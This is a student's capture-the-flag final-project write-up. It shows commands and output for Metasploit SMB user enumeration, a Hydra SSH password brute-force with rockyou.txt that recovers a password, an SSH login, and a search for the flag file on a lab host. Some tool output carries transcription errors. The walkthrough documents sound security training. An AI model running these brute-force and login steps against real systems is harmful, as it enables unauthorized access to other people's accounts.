Bypassing the perimeter final project Kacper Waliczek

Setting ip in Nat Network



1. Nmap

2. Metasploit

```
Stack: 909090909090909090909090
       90909090990909090909090
       90909090.90909090.90909090
       90909090.90909090.90909090
       90909090.90909090.09090900
       90909090.90909090.09090900
       cccccccccccccccccc
       ccccccccccccccccccc
       ccccccc.....
       cccccccccccccccccc
       ccccccccccccccccccc
       .....cccccccc
       cccccccccccccccccc
       cccccccccccccccccc
       ffffffffffffffffffffffffffffff
       fffffff.....
       ffffffffffffffffffffffffffff
       fffffff.....
       fffffff.....
       ffffffff.....
Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Code: 00 00 00 00 NS ... SAND Aiee, Killing Interrupt handler
=[ metasploit v6.1.39-dev
+ -- --=[ 2214 exploits - 1171 auxiliary - 396 post
+ -- --=[ 616 payloads - 45 encoders - 11 nops
+ -- --=[ 9 evasion
Metasploit tip: View all productivity tips with the
tips command
msf6 > use auxiliary/scanner/smb/smb_enumusers
\overline{\text{msf6}} auxiliary(scanner/smb/smb_enumusers) > set RHOSTS 172.20.10.5
RHOSTS ⇒ 172.20.10.5
\overline{\text{msf6}} auxiliary(scanner/smb/smb_enumusers) > run
msf6 auxiliary(
```

3. Downloading rockyou.txt from Github & Hydra

```
(kali@ kali)-[-/Desktop/Log%pass]

$ hydra -l jessica -P rockyou.txt ssh://172.20.10.5

Hydra vol. jessica -P rockyou.txt ssh://172.20.10.5

Hydra (https://github.com/vonhauser-thc/thc-hydra) starting at 2024-06-26 03:46:51

[RMANING] Many Ssh configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

[DATA] mar. 86 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), -896525 tries per task

[DATA] attacking ssh://172.20.10.5:22/

[22][ssh] host: 172.20.10.5 login: jessica password: dragon

1 of 1 target successfully completed, 1 valid password found

[UMANING) Mirtting restore file because 2 final worker threads did not complete until end.

[ERROR] 2 targets did not resolve or could not be connected

[ERROR] 2 targets did not rosolve or could not be connected

[ERROR] 5 (arget did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-26 03:45:37
```

4. Login to jessica@172.20.10.5 via SSH

```
-(kali@kali)-[~/Desktop/log%pass]
  -$ <u>sudo</u> ssh jessica@172.20.10.5
The authenticity of host '172.20.10.5 (172.20.10.5)' can't be established.
ED25519 key fingerprint is SHA256:nUSb3IYj9TwjbH8J073wpYjTdZjRAIuycVWNR1GRm0I.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '172.20.10.5' (ED25519) to the list of known hosts.
jessica@172.20.10.5's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-155-generic x86_64)
 * Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage
  System information as of Wed Jun 26 07:58:32 UTC 2024
  System load: 0.06 Processes: Usage of /: 95.8% of 1.96GB Users logged in:
  Memory usage: 10%
                                        IPv4 address for enp0s3: 172.20.10.5
  Swap usage: 0%
  ⇒ / is using 95.8% of 1.96GB
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
New release '22.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Wed Jun 26 07:55:44 2024
jessica@ubuntu:~$
```

5. Searching for flag

```
File Actions Edit View Help
j<mark>essica@ubuntu:/$</mark> find / -name "flag*" 2>/dev/null
/var/local/flag.txt
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/tty/S6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/tty/S31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/pci0000:00/0000:00:03.0/net/enp0s3/flags
/sys/devices/virtual/net/lo/flags
/usr/lib/python3/dist-packages/dns/__pycache__/flags.cpython-38.pyc
/usr/lib/python3/dist-packages/dns/flags.py
/usr/src/linux-headers-5.4.0-155/scripts/coccinelle/locks/flags.cocci
/usr/src/linux-headers-5.4.0-155-generic/include/config/arch/uses/high/vma/flags.h
<mark>jessica@ubuntu:/$</mark> cd /var/local/
jessica@ubuntu:/var/local$ cat flag.txt
HackerU{M1ss10n_5ucc3ss_Cy83r_Thr3at5_F0und!}
jessica@ubuntu:/var/local$
```

Flag: HackerU{M1ss10n_5ucc3ss_Cy83r_Thr3at5_F0und!}